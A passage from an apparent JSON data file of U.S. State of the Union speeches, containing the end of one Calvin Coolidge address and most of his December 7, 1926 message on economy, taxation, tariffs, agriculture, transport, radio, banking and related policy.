opinion that much good could be\naccomplished through the establishment of a Department of Education and\nRelief, into which would be gathered all of these functions under one\ndirecting member of the Cabinet.DEPARTMENT OF LABORIndustrial relations have never been more peaceful. In recent months they\nhave suffered from only one serious controversy. In all others difficulties\nhave been adjusted, both management and labor wishing to settle\ncontroversies by friendly agreement rather than by compulsion. The welfare\nof women and children is being especially guarded by our Department of\nLabor. Its Children's Bureau is in cooperation with 26 State boards and 80\njuvenile courts.Through its Bureau of Immigration it has been found that medical\nexamination abroad has saved prospective immigrants from much hardship.\nSome further legislation to provide for reuniting families when either the\nhusband or the wife is in this country, and granting more freedom for the\nmigration of the North American Indian tribes is desirable.The United States Employment Service has enabled about 2,000,000 men and\nwomen to gain paying positions in the last fiscal year. Particular\nattention has been given to assisting men past middle life and in providing\nfield labor for harvesting agricultural crops. This has been made possible\nin part through the service of the Federal Board for Vocational Education,\nwhich is cooperating with the States in a program to increase the technical\nknowledge and skill of the wage earner.PUBLIC BUILDINGSConstruction is under way in the country and ground has been broken for\ncarrying out a public-building program for Washington. We have reached a\ntime when not only the conveniences but the architectural beauty of the\npublic buildings of the Capital City should be given much attention. It\nwill be necessary to purchase further land and provide the required\ncontinuing appropriations.HISTORICAL CELEBRATIONSProvision is being made to commemorate the two hundredth anniversary of the\nbirth of George Washington. Suggestion has been made for the construction\nof a memorial road leading from the Capital to Mount Vernon, which may well\nhave the consideration of the Congress, and the commission intrusted with\npreparations for the celebration will undoubtedly recommend publication of\nthe complete writings of Washington and a series of writings by different\nauthors relating to him.February 25, 1929. is the one hundred and fiftieth anniversary of the\ncapture of Fort Sackville, at Vincennes, in the State of Indiana. This\neventually brought into the Union what was known as the Northwest\nTerritory, embracing the region north of the Ohio River between the\nAlleghenies and the Mississippi River. This expedition was led by George\nRogers Clark. His heroic character and the importance of his victory are\ntoo little known and understood. They gave us not only this Northwest\nTerritory but by means of that the prospect of reaching the Pacific. The\nState of Indiana is proposing to dedicate the site of Fort Sackville as a\nnational shrine. The Federal Government may well make some provision for\nthe erection under its own management of a fitting memorial at that point.FOREIGN RELATIONSIt is the policy of the United States to promote peace. We are a peaceful\npeople and committed to the settling of disputes by amicable adjustment\nrather than by force. We have believed that peace can best be secured by a\nfaithful observance on our part of the principles of international law,\naccompanied by patience and conciliation, and requiring of others a like\ntreatment for ourselves. We have lately had some difference with Mexico\nrelative to the injuries inflicted upon our nationals and their property\nwithin that country. A firm adherence to our rights and a scrupulous\nrespect for the sovereignty of Mexico, both in accordance with the law of\nnations, coupled with patience and forbearance, it is hoped will resolve\nall our differences without interfering with the friendly relationship\nbetween the two Governments.We have been compelled to send naval and marine forces to China to protect\nthe lives and property of our citizens. Fortunately their simple presence\nthere has been sufficient to prevent any material loss of life. But there\nhas been considerable loss of property. That unhappy country is torn by\nfactions and revolutions which bid fair to last for an indefinite period.\nMeanwhile we are protecting our citizens and stand ready to cooperate with\nany government which may emerge in promoting the welfare of the people of\nChina. They have always had our friendship, and they should especially\nmerit our consideration in these days of their distraction and distress.We were confronted by similar condition on a small scale in Nicaragua. Our\nmarine and naval forces protected our citizens and their property and\nprevented a heavy sacrifice of life and the destruction of that country by\na reversion to a state of revolution. Henry L. Stimson, former Secretary of\nWar, was sent there to cooperate with our diplomatic and military officers\nin effecting a settlement between the contending parties. This was done on\nthe assurance that we would cooperate in restoring a state of peace where\nour rights would be protected by giving our assistance in the conduct of\nthe next presidential election, which occurs in a few months. With this\nassurance the population returned to their peacetime pursuits, with the\nexception of some small roving bands of outlaws.In general, our relations with other countries can be said to have improved\nwithin the year. While having a due regard for our own affairs, the\nprotection of our own rights, and the advancement of our own people, we can\nafford to be liberal toward others. Our example has become of great\nimportance in the world. It is recognized that we are independent,\ndetached, and can and do take a disinterested position in relation to\ninternational affairs. Our charity embraces the earth. Our trade is far\nflung. Our financial favors are widespread. Those who are peaceful and\nlaw-abiding realize that not only have they nothing to fear from us, but\nthat they can rely on our moral support. Proposals for promoting the peace\nof the world will have careful consideration. But we are not a people who\nare always seeking for a sign. We know that peace comes from honesty and\nfair dealing, from moderation, and a generous regard for the rights of\nothers. The heart of the Nation is more important than treaties. A spirit\nof generous consideration is a more certain defense than great armaments.\nWe should continue to promote peace by our example, and fortify it by such\ninternational covenants against war as we are permitted under our\nConstitution to make.AMERICAN PROGRESSOur country has made much progress. But it has taken, and will continue to\ntake, much effort. Competition will be keen, the temptation to selfishness\nand arrogance will be severe, the provocations to deal harshly with weaker\npeoples will be many. All of these are embraced in the opportunity for true\ngreatness. They will be overbalanced by cooperation by generosity, and a\nspirit of neighborly kindness. The forces of the universe are taking\nhumanity in that direction. In doing good, in walking humbly, in sustaining\nits own people in ministering to other nations, America will work out its\nown mighty destiny.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 7, 1926", 
+    "speech": "Members of the Congress:In reporting to the Congress the state of the Union, I find it impossible\nto characterize it other than one of general peace and prosperity. In some\nquarters our diplomacy is vexed with difficult and as yet unsolved\nproblems, but nowhere are we met with armed conflict. If some occupations\nand areas are not flourishing, in none does there remain any acute chronic\ndepression. What the country requires is not so much new policies as a\nsteady continuation of those which are already being crowned with such\nabundant success. It can not be too often repeated that in common with all\nthe world we are engaged in liquidating the war.In the present short session no great amount of new legislation is\npossible, but in order to comprehend what is most desirable some survey of\nour general situation is necessary. A large amount of time is consumed in\nthe passage of appropriation bills. If each Congress in its opening session\nwould make appropriations to continue for two years, very much time would\nbe saved which could either be devoted to a consideration of the general\nneeds of the country or would result in decreasing the work of legislation.\nECONOMYOur present state of prosperity has been greatly promoted by three\nimportant causes, one of which is economy, resulting in reduction and\nreform in national taxation. Another is the elimination of many kinds of\nwaste. The third is a general raising of the standards of efficiency. This\ncombination has brought the perfectly astonishing result of a reduction in\nthe index price of commodities and an increase in the index rate of wages.\nWe have secured a lowering of the cost to produce and a raising of the\nability to consume. Prosperity resulting from these causes rests on the\nsecurest of all foundations. It gathers strength from its own progress.In promoting this progress the chief part which the National Government\nplays lies in the field of economy. Whatever doubts may have been\nentertained as to the necessity of this policy and the beneficial results\nwhich would accrue from it to all the people of the Nation, its wisdom must\nnow be considered thoroughly demonstrated. It may not have appeared to be a\nnovel or perhaps brilliant conception, but it has turned out to be\npreeminently sound. It has not failed to work. It has surely brought\nresults. It does not have to be excused as a temporary expedient adopted as\nthe lesser evil to remedy some abuse, it is not a palliative seeking to\ntreat symptoms, but a major operation for the, eradication at the source of\na large number of social diseases.Nothing is easier than the expenditure of public money. It does not appear\nto belong to anybody. The temptation is overwhelming to bestow it on\nsomebody. But the results of extravagance are ruinous. The property of the\ncountry, like the freedom of the country, belongs to the people of the\ncountry. They have not empowered their Government to take a dollar of it\nexcept for a necessary public purpose. But if the Constitution conferred\nsuch right, sound economics would forbid it. Nothing is more, destructive\nof the progress of the Nation than government extravagance. It means an\nincrease in the burden of taxation, dissipation of the returns from\nenterprise, a decrease in the real value of wages, with ultimate stagnation\nand decay. The whole theory of our institutions is based on the liberty and\nindependence of the individual. He is dependent on himself for support and\ntherefore entitled to the rewards of his own industry. He is not to be\ndeprived of what he earns that others may be benefited by what they do not\nearn. What he saves through his private effort is not to be wasted by\nGovernment extravagance.Our national activities have become so vast that it is necessary to\nscrutinize each item of public expenditure if we are to apply the principle\nof economy. At the last session we made an immediate increase in the annual\nbudget of more than $100,000,000 in benefits conferred on the veterans of\nthree wars, public buildings, and river and harbor improvement. Many\nprojects are being broached requiring further large outlays. I am convinced\nthat it would be greatly for the welfare of the country if we avoid at the\npresent session all commitments except those of the most pressing nature.\nFrom a reduction of the debt and taxes will accrue a wider benefit to all\nthe people of this country than from embarking on any new enterprise. When\nour war debt is decreased we shall have resources for expansion. Until that\nis accomplished we should confine ourselves to expenditures of the most\nurgent necessity.The Department of Commerce has performed a most important function in\nmaking plans and securing support of all kinds of national enterprise for\nthe elimination of waste. Efficiency has been greatly promoted through good\nmanagement and the constantly increasing cooperation of the wage earners\nthroughout the whole realm of private business. It is my opinion that this\nwhole development has been predicated on the foundation of a protective\ntariff.TAX REDUCTIONAs a result of economy of administration by the Executive and of\nappropriation by the Congress, the end of this fiscal year will leave a\nsurplus in the Treasury estimated at $383,000,000. Unless otherwise\nordered, such surplus is used for the retirement of the war debt. A bond\nwhich can be retired today for 100 cents will cost the people 104 1/4\ncents to retire a year from now. While I favor a speedy reduction of the\ndebt as already required by law and in accordance with the promises made to\nthe holders of our Liberty bonds when they were issued, there is no reason\nwhy a balanced portion of surplus revenue should not be applied to a\nreduction of taxation. It can not be repeated too often that the enormous\nrevenues of this Nation could not be collected without becoming a charge on\nall the people whether or not they directly pay taxes. Everyone who is\npaying or the bare necessities of fool and shelter and clothing, without\nconsidering the better things of life, is indirectly paying a national tax.\nThe nearly 20,000,000 owners of securities, the additional scores of\nmillions of holders of insurance policies and depositors in savings banks,\nare all paying a national tax. Millions of individuals and corporations are\nmaking a direct contribution to the National Treasury which runs from 11/2\nto 25 per cent of their income, besides a number of special requirements,\nlike automobile and admission taxes. Whenever the state of the Treasury\nwill permit, I believe in a reduction of taxation. I think the taxpayers\nare entitled to it. But I am not advocating tax reduction merely for the\nbenefit of the taxpayer; I am advocating it for the benefit of the\ncountry.If it appeared feasible, I should welcome permanent tax reduction at this\ntime. The estimated surplus, however, for June 30, 1928, is not much larger\nthan is required in a going business of nearly $4,000,000,000. We have had\nbut a few months' experience under the present revenue act and shall need\nto know what is developed by the returns of income produced under it, which\nare not required t o be made until about the time this session terminates,\nand what the economic probabilities of the country are in the latter part\nof 1927, before we can reach any justifiable conclusion as to permanent tax\nreduction. Moreover the present surplus results from many nonrecurrent\nitems. Meantime, it is possible to grant some real relief by a simple\nmeasure making reductions in the payments which accrue on the 15th of March\nand June, 1927. I am very strongly of the conviction that this is so much a\npurely business matter that it ought not to be dealt with in a partisan\nspirit. The Congress has already set the notable example of treating tax\nproblems without much reference to party, which might well be continued.\nWhat I desire to advocate most earnestly is relief for the country from\nunnecessary tax burdens. We can not secure that if we stop to engage in a\npartisan controversy. As I do not think any change in the special taxes, or\ntiny permanent reduction is practical, I therefore urge both parties of the\nHouse Ways and Means Committee to agree on a bill granting the temporary\nrelief which I have indicated. Such a reduction would directly affect\nmillions of taxpayers, release large sums for investment in new enterprise,\nstimulating industrial production and agricultural consumption, and\nindirectly benefiting every family in the whole country. These are my\nconvictions stated with full knowledge that it is for the Congress to\ndecide whether they judge it best to make such a reduction or leave the\nsurplus for the present year to be applied to retirement of the war debt.\nThat also is eventually tax reduction.PROTECTIVE TARIFFIt is estimated that customs receipts for the present fiscal year will\nexceed $615,000,000, the largest which were ever secured from that source.\nThe value of our imports for the last fiscal year was $4,466,000,000, an\nincrease of more than 71 per cent since the present tariff law went into\neffect. Of these imports about 65 per cent, or, roughly, $2,900,000,000,\ncame in free of duty, which means that the United States affords a\nduty-free market to other countries almost equal in value to the total\nimports of Germany and greatly exceeding the total imports of France. We\nhave admitted a greater volume of free imports than any other country\nexcept England.We are, therefore, levying duties on about $1,550,000,000 of imports.\nNearly half of this, or $700,000,000, is subject to duties for the\nprotection of agriculture and have their origin in countries other than\nEurope. They substantially increased the prices received by our farmers for\ntheir produce. About $300,000.000 more is represented by luxuries such as\ncostly rugs, furs, precious stones, etc. This leaves only about\n$550,000,000 of our imports under a schedule of duties which is in general\nunder consideration when there is discussion of lowering the tariff. While\nthe duties on this small portion, representing only about 12 per cent of\nour imports, undoubtedly represent the difference between a fair degree of\nprosperity or marked depression to many of our industries and the\ndifference between good pay and steady work or wide unemployment to many of\nour wage earners, it is impossible to conceive how other countries or our\nown importers could be greatly benefited if these duties are reduced. Those\nwho are starting an agitation for a reduction of tariff duties, partly at\nleast for the benefit of those to whom money has been lent abroad, ought to\nknow that there does not seem to be a very large field within the area of\nour imports in which probable reductions would be advantageous to foreign\ngoods. Those who wish to benefit foreign producers are much more likely to\nsecure that result by continuing the present enormous purchasing power\nwhich comes from our prosperity that increased our imports over 71\nper cent in four years than from any advantages that are likely to accrue\nfrom a general tariff reduction.AGRICULTUREThe important place which agriculture holds in the economic and social life\nof the Nation can not be overestimated. The National Government is\njustified in putting forth every effort to make the open country a\ndesirable place to live. No condition meets this requirement which fails to\nsupply a fair return on labor expended and capital invested. While some\nlocalities and some particular crops furnish exceptions, in general\nagriculture is continuing to make progress in recovering from the\ndepression of 1921 and 1922. Animal products and food products are in a\nmore encouraging position, while cotton, due to the high prices of past\nyears supplemented by ideal weather conditions, has been stimulated to a\npoint of temporary over production. Acting on the request of the cotton\ngrowing interests, appointed a committee to assist in carrying out their\nplans. As it result of this cooperation sufficient funds have been pledged\nto finance the storage and carrying of 4,000,000 bales of cotton. Whether\nthose who own the cotton are willing to put a part of their stock into this\nplan depends on themselves. The Federal Government has cooperated in\nproviding ample facilities. No method of meeting the situation would be\nadequate which does not contemplate a reduction of about one-third in the\nacreage for the coming year. The responsibility for making the plan\neffective lies with those who own and finance cotton and cotton lands.The Department of Agriculture estimates the net income of agriculture for\nthe year 1920-21 at only $375,000,000; for 1924-25, $2,656,000,000; for\n1925-26, $2,757,000,000. This increase has been brought about in part by\nthe method already referred to, of Federal tax reduction, the elimination\nof waste, and increased efficiency in industry. The wide gap that existed a\nfew years ago between the index price of agricultural products and the\nindex price of other products has been gradually closing up, though the\nrecent depression in cotton has somewhat enlarged it. Agriculture had on\nthe whole been going higher while industry had been growing lower.\nIndustrial and commercial activities, being carried on for the most part by\ncorporations, are taxed at a much higher rate than farming, which is\ncarried on by individuals. This will inevitably make industrial commodity\ncosts high while war taxation lasts. It is because of this circumstance\nthat national tax reduction has a very large indirect benefit upon the\nfarmer, though it can not relieve him from the very great burden of the\nlocal taxes which he pays directly. We have practically relieved the farmer\nof any Federal income tax.There is agreement on all sides that some portions of our agricultural\nindustry have lagged behind other industries in recovery from the war and\nthat further improvement in methods of marketing of agricultural products\nis most desirable. There is belief also that the Federal Government can\nfurther contribute to these ends beyond the many helpful measures taken\nduring the last five years through the different acts of Congress for\nadvancing the interests of the farmers.The packers and stockyards act,Establishing of the intermediate credit banks for agricultural purposes,The Purnell Act for agricultural research,The Capper-Volstead Cooperative Marketing Act,The cooperative marketing act of 1926,Amendments to the warehousing act,The enlargement of the activities of the Department of Agriculture,Enlargement of the scope of loans by the Farm Loan Board,The tariff on agricultural products,The large Federal expenditure in improvement of waterways and highways,The reduction of Federal taxes, in all comprise a great series of\ngovernmental actions in the advancement of the special interest of\nagriculture.In determination of what further measures may be undertaken it seems to me\nthere are certain pitfalls which must be avoided and our test in avoiding\nthem should be to avoid disaster to the farmer himself.Acting upon my recommendation, the Congress has ordered the interstate\nCommerce Commission to investigate the freight-rate structure, directing\nthat such changes shall be made in freight rates as will promote freedom of\nmovement of agricultural products. Railroad consolidation which I am\nadvocating would also result in a situation where rates could be made more\nadvantageous for farm produce, as has recently been done in the revision of\nrates on fertilizers in the South. Additional benefit will accrue from the\ndevelopment of our inland waterways. The Mississippi River system carries a\ncommerce of over 50,000,000 tons at a saving of nearly $18,000,000\nannually. The Inland Waterways Corporation operates boats on 2,500 miles of\nnavigable streams and through its relation with 165 railroads carries\nfreight into and out of 45 States of the Union. During the past six months\nit has handled over 1,000,000 bushels of grain monthly and by its lower\nfreight rates has raised the price of such grain to the farmer probably\n21/2 cents to 3 cents a bushel. The highway system on which the Federal\nGovernment expends about $85,000,000 a year is of vital importance to the\nrural regions.The advantages to be derived from a more comprehensive and less expensive\nsystem of transportation for agriculture ought to be supplemented by\nprovision for an adequate supply of fertilizer at a lower cost than it is\nat present obtainable. This advantage we are attempting to secure by the\nproposed development at Muscle Shoals, and there are promising experiments\nbeing made in synthetic chemistry for the production of nitrates.A survey should be made of the relation of Government grazing lands to the\nlivestock industry. Additional legislation is desirable more definitely to\nestablish the place of grazing in the administration of the national\nforests, properly subordinated to their functions of producing timber and\nconserving the water supply. Over 180,000,000 acres of grazing lands are\nstill pastured as commons in the public domain with little or no\nregulation. This has made their use so uncertain that it has contributed\ngreatly to the instability of the livestock industry. Very little of this\nland is suited to settlement or private ownership. Some plan ought to be\nadopted for its use in grazing, corresponding broadly to that already\nsuccessfully applied to the national forests.The development of sound and strong cooperative associations is of\nfundamental importance to our agriculture. It is encouraging to note,\ntherefore, that a vigorous and healthy growth in the cooperative movement\nis continuing. Cooperative associations reporting to the Department of\nAgriculture at the end of 1925 had on their membership rolls a total of\n2,700,000 producers. Their total business in 1925 amounted to approximately\n$2,400,000,000, compared with $635,800,000 in 1915. Legislative action to\nassist cooperative associations and supplement their efforts was passed at\nthe last session of Congress. Important credit measures were also provided\nby Congress in 1923 which have been of inestimable value to the cooperative\nassociations. Although the Federal credit agencies have served agriculture\nwell, I think it may be possible to broaden and strengthen the service of\nthese institutions.Attention is again directed to the surplus problem of agriculture by the\npresent cotton situation. Surpluses often affect prices of various farm\ncommodities in a disastrous manner, and the problem urgently demands a\nsolution. Discussions both in and out of Congress during the past few years\nhave given us a better understanding of the subject, and it is my hope that\nout of the various proposals made the basis will be found for a sound and\neffective solution upon which agreement can be reached. In my opinion\ncooperative marketing associations will be important aids to the ultimate\nsolution of the problem. It may well be, however, that additional measures\nwill be needed to supplement their efforts. I believe all will agree that\nsuch measures should not conflict with the best interests of the\ncooperatives, but rather assist and strengthen them. In working out this\nproblem to any sound conclusion it is necessary to avoid putting the\nGovernment into the business of production or marketing or attempting to\nenact legislation for the purpose of price fixing. The farmer does not\nfavor any attempted remedies that partake of these elements. He has a\nsincere and candid desire for assistance. If matched by an equally sincere\nand candid consideration of the different remedies proposed a sound\nmeasure of relief ought to result. It is unfortunate that no general\nagreement has been reached by the various agricultural interests upon any\nof the proposed remedies. Out of the discussion of various proposals which\ncan be had before the Committees of Agriculture some measure ought to be\nperfected which would be generally satisfactory.Due to the emergency arising from a heavy tropical storm in southern\nFlorida, I authorized the Secretary of Agriculture to use certain funds in\nanticipation of legislation to enable the farmers in that region to plant\ntheir crops. The department will present a bill ratifying the loans which\nwere made for this purpose.Federal legislation has been adopted authorizing the cooperation of the\nGovernment with States and private owners in the protection of forest lands\nfrom fire. This preventive measure is of such great importance that I have\nrecommended for it an increased appropriation.Another preventive measure of great economic and sanitary importance is the\neradication of tuberculosis in cattle. Active work is now in progress in\none-fourth of the counties of the United States to secure this result. Over\n12,000,000 cattle have been under treatment, and the average degree of\ninfection has fallen from 4.9 per cent to 2.8 per cent. he Federal\nGovernment is making substantial expenditures for this purpose.Serious damage is threatened to the corn crop by the European corn borer.\nSince 1917 it has spread from eastern New England westward into Indiana and\nnow covers about 100,000 square miles. It is one of the most formidable\npests because it spreads rapidly and is exceedingly difficult of control.\nIt has assumed a menace that is of national magnitude and warrants the\nFederal Government in extending its cooperation to the State and local\nagencies which are attempting to prevent its further spread and secure its\neradication.The whole question of agriculture needs most careful consideration. In the\npast few years the Government has given this subject more attention than\nany other and has held more consultations in relation to it than on any\nother subject. While the Government is not to be blamed for failure to\nperform the impossible, the agricultural regions are entitled to know that\nthey have its constant solicitude and sympathy. Many of the farmers are\nburdened with debts and taxes which they are unable to carry. We are\nexpending in this country many millions of dollars each year to increase\nfarm production. We ought now to put more emphasis on the question of farm\nmarketing. If a sound solution of a permanent nature can be found for this\nproblem, the Congress ought not to hesitate to adopt it.DEVELOPMENT OF WATER RESOURCESIn previous messages I have referred to the national importance of the\nproper development of our water resources. The great projects of extension\nof the Mississippi system, the protection an development of the lower\nColorado River, are before Congress, and I have previously commented upon\nthem. I favor the necessary legislation to expedite these projects.\nEngineering studies are being made for connecting the Great Lakes with the\nNorth Atlantic either through an all-American canal or by way of the St.\nLawrence River. These reports will undoubtedly be before the Congress\nduring its present session. It is unnecessary to dwell upon the great\nimportance of such a waterway not only to our mid-continental basin but to\nthe commerce and development of practically the whole Nation. Our river and\nharbor improvement should be continued in accordance with the present\npolicy. Expenditure of this character is compatible with economy; it is in\nthe nature of capital investment. Work should proceed on the basic trunk\nlines if this work is to be a success. If the country will be content to be\nmoderate and patient and permit improvements to be made where they will do\nthe greatest general good, rather than insisting on expenditures at this\ntime on secondary projects, our internal Waterways can be made a success.\nIf proposes legislation results in a gross manifestation of local\njealousies and selfishness, this program can not be carried out. Ultimately\nwe can take care of extensions, but our first effort should be confined to\nthe main arteries.Our inland commerce has been put to great inconvenience and expense by\nreason of the lowering of the water level of the Great Lakes. This is an\ninternational problem on which competent engineers are making reports. Out\nof their study it is expected that a feasible method will be developed for\nraising the level to provide relief for our commerce and supply water for\ndrainage. Whenever a practical plan is presented it ought to be speedily\nadopted.RECLAMATIONIt is increasingly evident that the Federal Government must in the future\ntake a leading part in the impounding of water for conservation with\nincidental power for the development of the irrigable lands of the and\nregion. The unused waters of the West are found mainly in large rivers.\nWorks to store and distribute these have such magnitude and cost that they\nare not attractive to private enterprise. Water is the irreplaceable\nnatural resource. Its precipitation can not be increased. Its storage on\nthe higher reaches of streams, to meet growing needs, to be used repeatedly\nas it flows toward the seas, is a practical and prudent business policy.The United States promises to follow the course of older irrigation\ncountries, where recent important irrigation developments have been carried\nout as national undertakings. It is gratifying, therefore, that conditions\non Federal reclamation projects have become satisfactory. The gross value\nof crop, grown with water from project works increased from $110,000,000\nin 1924 to $131,000,000 in 1925. The adjustments made last year by Congress\nrelieved irrigators from paying construction costs on unprofitable land,\nand by so doing inspired new hope and confidence in ability to meet the\npayments required. Construction payments by water users last year were the\nlargest in the history of the bureau.The anticipated reclamation fund will be fully absorbed for a number of\nyears in the completion of old projects and the construction of projects\ninaugurated in the past three years. We should, however, continue to\ninvestigate and study the possibilities of a carefully planned development\nof promising projects, logically of governmental concern because of their\nphysical magnitude, immense cost, and the interstate and international\nproblems involved. Only in this way may we be fully prepared to meet\nintelligently the needs of our fast-growing population in the years to\ncome.TRANSPORTATIONIt would be difficult to conceive of any modern activity which contributes\nmore to the necessities and conveniences of life than transportation.\nWithout it our present agricultural production and practically all of our\ncommerce would be completely prostrated. One of the large contributing\ncauses to the present highly satisfactory state of our economic condition\nis the prompt and dependable service, surpassing all our previous records,\nrendered by the railroads. This power has been fostered by the spirit of\ncooperation between Federal and State regulatory commissions. To render\nthis service more efficient and effective and to promote a more scientific\nregulation, the process of valuing railroad properties should be simplified\nand the primary valuations should be completed as rapidly as possible. The\nproblem of rate reduction would be much simplified by a process of railroad\nconsolidations. This principle has already been adopted as Federal law.\nExperience has shown that a more effective method must be provided. Studies\nhave already been made and legislation introduced seeking to promote this\nend. It would be of great advantage if it could be taken up at once and\nspeedily enacted. The railroad systems of the country and the convenience\nof all the people are waiting on this important decision.MERCHANT MARINEIt is axiomatic that no agricultural and industrial country can get the\nfull benefit of its own advantages without a merchant marine. We have been\nproceeding under the act of Congress that contemplates the establishment of\ntrade routes to be ultimately transferred to private ownership and\noperation. Due to temporary conditions abroad and at home we have a large\ndemand just now for certain types of freight vessels. Some suggestion has\nbeen made for new construction. I do not feel that we are yet warranted in\nentering, that field. Such ships as we might build could not be sold after\nthey are launched for anywhere near what they would cost. We have expended\nover $250,000,000 out of the public Treasury in recent years to make up the\nlosses of operation, not counting the depreciation or any cost whatever of\nour capital investment. The great need of our merchant marine is not for\nmore ships but for more freight.Our merchants are altogether too indifferent about using American ships for\nthe transportation of goods which they send abroad or bring home. Some of\nour vessels necessarily need repairs, which should be made. I do not\nbelieve that the operation of our fleet is as economical and efficient as\nit could be made if placed under a single responsible head, leaving the\nShipping Board free to deal with general matters of policy and regulation.RADIO LEGISLATIONThe Department of Commerce has for some years urgently presented the\nnecessity for further legislation in order to protect radio listeners from\ninterference between broadcasting stations and to carry out other\nregulatory functions. Both branches of Congress at the last session passed\nenactments intended to effect such regulation, but the two bills yet remain\nto be brought into agreement and final passage.Due to decisions of the courts, the authority of the department under the\nlaw of 1912 has broken down; many more stations have been operating than\ncan be accommodated within the limited number of wave lengths available;\nfurther stations are in course of construction; many stations have departed\nfrom the scheme of allocation set down by the department, and the whole\nservice of this most important public function has drifted into such chaos\nas seems likely, if not remedied, to destroy its great value. I most\nurgently recommend that this legislation should be speedily enacted.I do not believe it is desirable to set up further independent agencies in\nthe Government. Rather I believe it advisable to entrust the important\nfunctions of deciding who shall exercise the privilege of radio\ntransmission and under what conditions, the assigning of wave lengths and\ndetermination of power, to a board to be assembled whenever action on such\nquestions becomes necessary. There should be right of appeal to the courts\nfrom the decisions of such board. The administration of the decisions of\nthe board and the other features of regulation and promotion of radio in\nthe public interest, together with scientific research, should remain in\nthe Department of Commerce. Such an arrangement makes for more expert, more\nefficient, and more economical administration that an independent agency or\nboard, whose duties, after initial stages, require but little attention, in\nwhich administrative functions are confused with semijudicial functions and\nfrom which of necessity there must be greatly increased personnel and\nexpenditure.THE WAGE EARNERThe great body of our people are made up of wage earners. Several hundred\nthousands of them are on the pay rolls of the United States Government.\nTheir condition very largely is fixed by legislation. We have recently\nprovided increases in compensation under a method of reclassification and\ngiven them the advantage of a liberal retirement system as a support for\ntheir declining years. Most of them are under the merit system, which is a\nguaranty of their intelligence, and the efficiency of their service is a\ndemonstration of their loyalty. The Federal Government should continue to\nset a good example for all other employers.In the industries the condition of the wage earner has steadily improved.\nThe 12-hour day is almost entirely unknown. Skilled labor is well\ncompensated. But there are unfortunately a multitude of workers who have\nnot yet come to share in the general prosperity of the Nation. Both the\npublic authorities and private enterprise should be solicitous to advance\nthe welfare of this class. The Federal Government has been seeking to\nsecure this end through a protective tariff, through restrictive\nimmigration, through requiring safety devices for the prevention of\naccidents, through the granting of workman's compensation, through civilian\nvocational rehabilitation and education, through employment information\nbureaus, and through such humanitarian relief as was provided in the\nmaternity and infancy legislation. It is a satisfaction to report that a\nmore general condition of contentment exists among wage earners and the\ncountry is more free from labor disputes than it has been for years. While\nrestrictive immigration has been adopted in part for the benefit of the\nwage earner, and in its entirety for the benefit of the country, it ought\nnot to cause a needless separation of families and dependents from their\nnatural source of support contrary to the dictates of humanity.BITUMINOUS COALNo progress appears to have been made within large areas of the bituminous\ncoal industry toward creation of voluntary machinery by which greater\nassurance can be given to the public of peaceful adjustment of wage\ndifficulties such as has been accomplished in the anthracite industry. This\nbituminous industry is one of primary necessity and bears a great\nresponsibility to the Nation for continuity of supplies. As the wage\nagreements in the unionized section of the industry expire on April 1 next,\nand as conflicts may result which may imperil public interest, and have for\nmany years often called for action of the Executive in protection of the\npublic, I again recommend the passage of such legislation as will assist\nthe Executive in dealing with such emergencies through a special temporary\nboard of conciliation and mediation and through administrative agencies for\nthe purpose of distribution of coal and protection of the consumers of coal\nfrom profiteering. At present the Executive is not only without authority\nto act but is actually prohibited by law from making any expenditure to\nmeet the emergency of a coal famine.JUDICIARYThe Federal courts hold a high position in the administration of justice in\nthe world. While individual judicial officers have sometimes been subjected\nto just criticism, the courts as a whole have maintained an exceedingly\nhigh standard. The Congress may well consider the question of supplying\nfair salaries and conferring upon the Supreme Court the same rule-making\npower on the law side of the district courts that they have always\npossessed on the equity side. A bill is also pending providing for\nretirement after a certain number of years of service, although they have\nnot been consecutive, which should have your favorable consideration. These\nfaithful servants of the Government are about the last that remain to be\nprovided for in the postwar readjustments.BANKINGThere has been pending in Congress for nearly three years banking\nlegislation to clarify the national bank act and reasonably to increase the\npowers of the national banks. I believe that within the limitation of sound\nbanking principles Congress should now and for the future place the\nnational banks upon a fair equality with their competitors, the State\nbanks, and I trust that means may be found so that the differences on\nbranch-banking legislation between the Senate and the House of\nRepresentatives may be settled along sound lines and the legislation\npromptly enacted.It would be difficult to overestimate the service which the Federal reserve\nsystem has already rendered to the country. It is necessary only to recall\nthe chaotic condition of our banking organization at the time the Federal\nreserve system was put into operation. The old system consisted of a vast\nnumber of independent banking units, with scattered bank reserves which\nnever could be mobilized in times of greatest need. In spite of vast\nbanking resources, there was no coordination of reserves or any credit\nelasticity. As a consequence, a strain was felt even during crop-moving\nperiods and when it was necessary to meet other seasonal and regularly\nrecurring needs.The Federal reserve system is not a panacea for all economic or financial\nills. It can not prevent depression in certain industries which are\nexperiencing overexpansion of production or contraction of their markets.\nIts business is to furnish adequate credit and currency facilities. This it\nhas succeeded in doing, both during the war and in the more difficult\nperiod of deflation and readjustment which followed. It enables us to look\nto the future with confidence and to make plans far ahead, based on the\nbelief that the Federal reserve system will exercise a steadying influence\non credit conditions and thereby prevent tiny sudden or severe reactions\nfrom the period of prosperity which we are now enjoying. In order that\nthese plans may go forward, action should be taken at the present session\non the question of renewing the banks' charters and thereby insuring a\ncontinuation of the policies and present usefulness of the Federal reserve\nsystem.FEDERAL REGULATIONI am in favor of reducing, rather than expanding, Government bureaus which\nseek to regulate and control the business activities of the people.\nEveryone is aware that abuses exist and will exist so long as we are\nlimited by human imperfections. Unfortunately, human nature can not be\nchanged by an act of the legislature. When practically the sole remedy for\nmany evils lies in the necessity of the people looking out for themselves\nand reforming their own abuses, they will find that they are relying on a\nfalse security if the Government assumes to hold out the promise that it is\nlooking out for them and providing reforms for them. This principle is\npreeminently applicable to the National Government. It is too much assumed\nthat because an abuse exists it is the business of the National Government\nto provide a remedy. The presumption should be that it is the business of\nlocal and State governments. Such national action results in encroaching\nupon the salutary independence of the States and by undertaking to\nsupersede their natural authority fills the land with bureaus and\ndepartments which are undertaking to do what it is impossible for them to\naccomplish and brings our whole system of government into disrespect and\ndisfavor. We ought to maintain high standards. We ought to punish\nwrongdoing. Society has not only the privilege but the absolute duty of\nprotecting itself and its individuals. But we can not accomplish this end\nby adopting a wrong method. Permanent success lies in local, rather than\nnational action. Unless the locality rises to its own requirements, there\nis an almost irresistible impulse for the National Government to intervene.\nThe States and the Nation should both realize that such action is to be\nadopted only as a last resort.THE NEGROThe social well-being of our country requires our constant effort for the\namelioration of race prejudice and the extension to all elements of equal\nopportunity and equal protection under the laws which are guaranteed by\nthe. Constitution. The Federal Government especially is charged with this\nobligation in behalf of the colored people of the Nation. Not only their\nremarkable progress, their devotion and 